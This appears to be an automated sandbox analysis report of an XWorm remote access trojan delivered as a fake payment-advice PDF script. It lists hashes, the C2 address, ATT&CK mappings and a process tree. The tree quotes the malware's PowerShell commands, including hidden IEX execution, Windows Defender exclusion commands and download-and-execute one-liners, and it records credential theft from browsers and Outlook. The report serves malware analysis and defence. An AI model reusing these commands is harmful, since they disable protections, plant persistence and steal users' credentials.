xworm | 2941d37b59ab71e459e58326d76b2f3855081aae576d2f7d01102f83a2616553

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260129-en
resource tags

arch:x64arch:x86image:win10v2004-20260129-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
08/04/2026, 04:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Payment_Advice_0977_08_04_26.pdf.vbs
Size 2.5MB
Sample260408-e86tcsg15k
SHA256 2941d37b59ab71e459e58326d76b2f3855081aae576d2f7d01102f83a2616553
MD5 255a58b1be0525342a57926268b86be3
SHA1 a0c34cfae3babb0a24677d28f1222a33c799c349
SHA512 e7c76a56e716b88cae3c63d62c9f4e237c25cbff7e743dcf9569de930aa41f795221484ad807be8de735bd5939016a01a7431d4e3392f96f3a5276de531f14f7
SSDEEP 192:fG6G6G6G6G6G6G6G6G6G6G6G6G6G6G6G6G6G6G6G6G6G6G6G6G6G6G6G6G6G6G6C:52
TLSH
T135C52141A51148E8714CB1F0E850B5B5B11DA8096616F9CAD7A37CFB6E838FEC6B0C9F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection defense_evasion discovery execution xworm persistence rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

Version

31.56.209.80:1996

Mutex

XN6Uheo6JsWCQOrh

Attributes

Install_directory
%AppData%
install_file
bin.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/3548-18-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	560	4180	powershell.exe	86

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	560	powershell.exe
8	560	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4632	powershell.exe
2792	powershell.exe
2828	powershell.exe
3624	powershell.exe
3772	powershell.exe
560	powershell.exe
5056	powershell.exe
3772	powershell.exe
5056	powershell.exe

System Binary Proxy Execution: Regsvcs/Regasm 1 TTPs 3 IoCs

Abuse Regasm to proxy execution of malicious code.

defense_evasion

Regsvcs/Regasm

T1218.009

description	ioc	Process
File created	\??\c:\Users\Admin\AppData\Local\Temp\RegAsm.exe	csc.exe
Key opened	\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\RegAsm.exe	RegAsm.exe
Key opened	\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom\RegAsm.exe	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-538547578-2715485343-2034567214-1000\Control Panel\International\Geo\Nation	RegAsm.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bin.lnk	RegAsm.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bin.lnk	RegAsm.exe

Executes dropped EXE 1 IoCs

pid	Process
4376	RegAsm.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-538547578-2715485343-2034567214-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-538547578-2715485343-2034567214-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-538547578-2715485343-2034567214-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 560 set thread context of 3548	560	powershell.exe	93

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
560	powershell.exe
4632	powershell.exe
4632	powershell.exe
2792	powershell.exe
2792	powershell.exe
2828	powershell.exe
2828	powershell.exe
3624	powershell.exe
3624	powershell.exe
3548	RegAsm.exe
4376	RegAsm.exe
4376	RegAsm.exe
4376	RegAsm.exe
4376	RegAsm.exe
4376	RegAsm.exe
4376	RegAsm.exe
4376	RegAsm.exe
4376	RegAsm.exe
3548	RegAsm.exe
4376	RegAsm.exe
4376	RegAsm.exe
4376	RegAsm.exe
4376	RegAsm.exe
4376	RegAsm.exe
4376	RegAsm.exe
4376	RegAsm.exe
4376	RegAsm.exe
4376	RegAsm.exe
4376	RegAsm.exe
4376	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	560	powershell.exe
Token: SeDebugPrivilege	3548	RegAsm.exe
Token: SeDebugPrivilege	4632	powershell.exe
Token: SeDebugPrivilege	2792	powershell.exe
Token: SeDebugPrivilege	2828	powershell.exe
Token: SeDebugPrivilege	3624	powershell.exe
Token: SeDebugPrivilege	4376	RegAsm.exe
Token: SeDebugPrivilege	5056	powershell.exe
Token: SeDebugPrivilege	3772	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1768	conhost.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1768 wrote to memory of 2504	1768	conhost.exe	91
PID 560 wrote to memory of 3752	560	powershell.exe	92
PID 560 wrote to memory of 3548	560	powershell.exe	93
PID 560 wrote to memory of 3548	560	powershell.exe	93
PID 560 wrote to memory of 3548	560	powershell.exe	93
PID 560 wrote to memory of 3548	560	powershell.exe	93
PID 560 wrote to memory of 3548	560	powershell.exe	93
PID 3548 wrote to memory of 4632	3548	RegAsm.exe	96
PID 3548 wrote to memory of 2792	3548	RegAsm.exe	98
PID 3548 wrote to memory of 2828	3548	RegAsm.exe	100
PID 3548 wrote to memory of 3624	3548	RegAsm.exe	102
PID 3548 wrote to memory of 3532	3548	RegAsm.exe	106
PID 3532 wrote to memory of 5032	3532	csc.exe	108
PID 3548 wrote to memory of 4376	3548	RegAsm.exe	109
PID 3684 wrote to memory of 5056	3684	conhost.exe	111
PID 4944 wrote to memory of 3772	4944	conhost.exe	119

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-538547578-2715485343-2034567214-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-538547578-2715485343-2034567214-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Payment_Advice_0977_08_04_26.pdf.vbs"
1⤵
PID:4340

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "IEX $env:INTERNAL_DB_CACHE;[Environment]::SetEnvironmentVariable('INTERNAL_DB_CACHE',$null,'User')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Binary Proxy Execution: Regsvcs/Regasm
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:560
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  PID:3752
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  - System Binary Proxy Execution: Regsvcs/Regasm
  - Checks computer location settings
  - Drops startup file
  - Accesses Microsoft Outlook profiles
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:3548
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4632
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RegAsm.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2792
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\bin.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2828
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'bin.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3624
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\RegAsm.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_d7338caf31bd498c83798b14d6d59bd0.cs"
    3⤵
    - System Binary Proxy Execution: Regsvcs/Regasm
    - Suspicious use of WriteProcessMemory
    PID:3532
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD4FE.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCDB9C8B9D1C3409093CB9E8879C3DC25.TMP"
      4⤵
      PID:5032
- - C:\Users\Admin\AppData\Local\Temp\RegAsm.exe
    "C:\Users\Admin\AppData\Local\Temp\RegAsm.exe" 3548
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4376

C:\Windows\system32\conhost.exe
conhost.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe
  2⤵
  PID:2504

C:\Windows\system32\conhost.exe
conhost.exe --headless powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'URL' -OutFile 'C:\Users\Public\Downloads\\Name_File.vbs'; Start-Process 'C:\Users\Public\Downloads\\Name_File.vbs' -WindowStyle Hidden"
1⤵
- Suspicious use of WriteProcessMemory
PID:3684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'URL' -OutFile 'C:\Users\Public\Downloads\\Name_File.vbs'; Start-Process 'C:\Users\Public\Downloads\\Name_File.vbs' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5056

C:\Windows\system32\conhost.exe
conhost.exe --headless powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'URL' -OutFile 'C:\Users\Public\Downloads\\Name_File.vbs'; Start-Process 'C:\Users\Public\Downloads\\Name_File.vbs' -WindowStyle Hidden"
1⤵
- Suspicious use of WriteProcessMemory
PID:4944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'URL' -OutFile 'C:\Users\Public\Downloads\\Name_File.vbs'; Start-Process 'C:\Users\Public\Downloads\\Name_File.vbs' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:3772

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

System Binary Proxy Execution

T1218

Regsvcs/Regasm

T1218.009

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 ab6b280b9caa8ffbcd1ec845687852ec9f68c05ccc8384bf6dba02de66e8c807
MD5 3cf6ff99f222c1f7f9624e82d91deaaa
SHA1 c32f4ed1cb682c5b085374b6ad6f7efc0cc0b275
SHA512 75b2c830ba6e5ce84e4aa71e5b9ca3c2e31f92aa0b33b01383b5c3d04c60bb0996ab02ae14ef8eb5b67a0f642a285929be19f5b9b64ac75e67309dd4ba6abd1b
TLSH
T10E71DE313275B1D8C9167F071D28198053BF4795FAA4AF1CB298625EDD2744B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
MD5 968cb9309758126772781b83adb8a28f
SHA1 8da30e71accf186b2ba11da1797cf67f8f78b47c
SHA512 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3
TLSH
T1A4417C303261A9D84D435B0215286ED5E3EF478AAFAC5F5CB569231DCE2A44BD7221F3
MD5 SHA1 SHA512 TLSH

Submit Download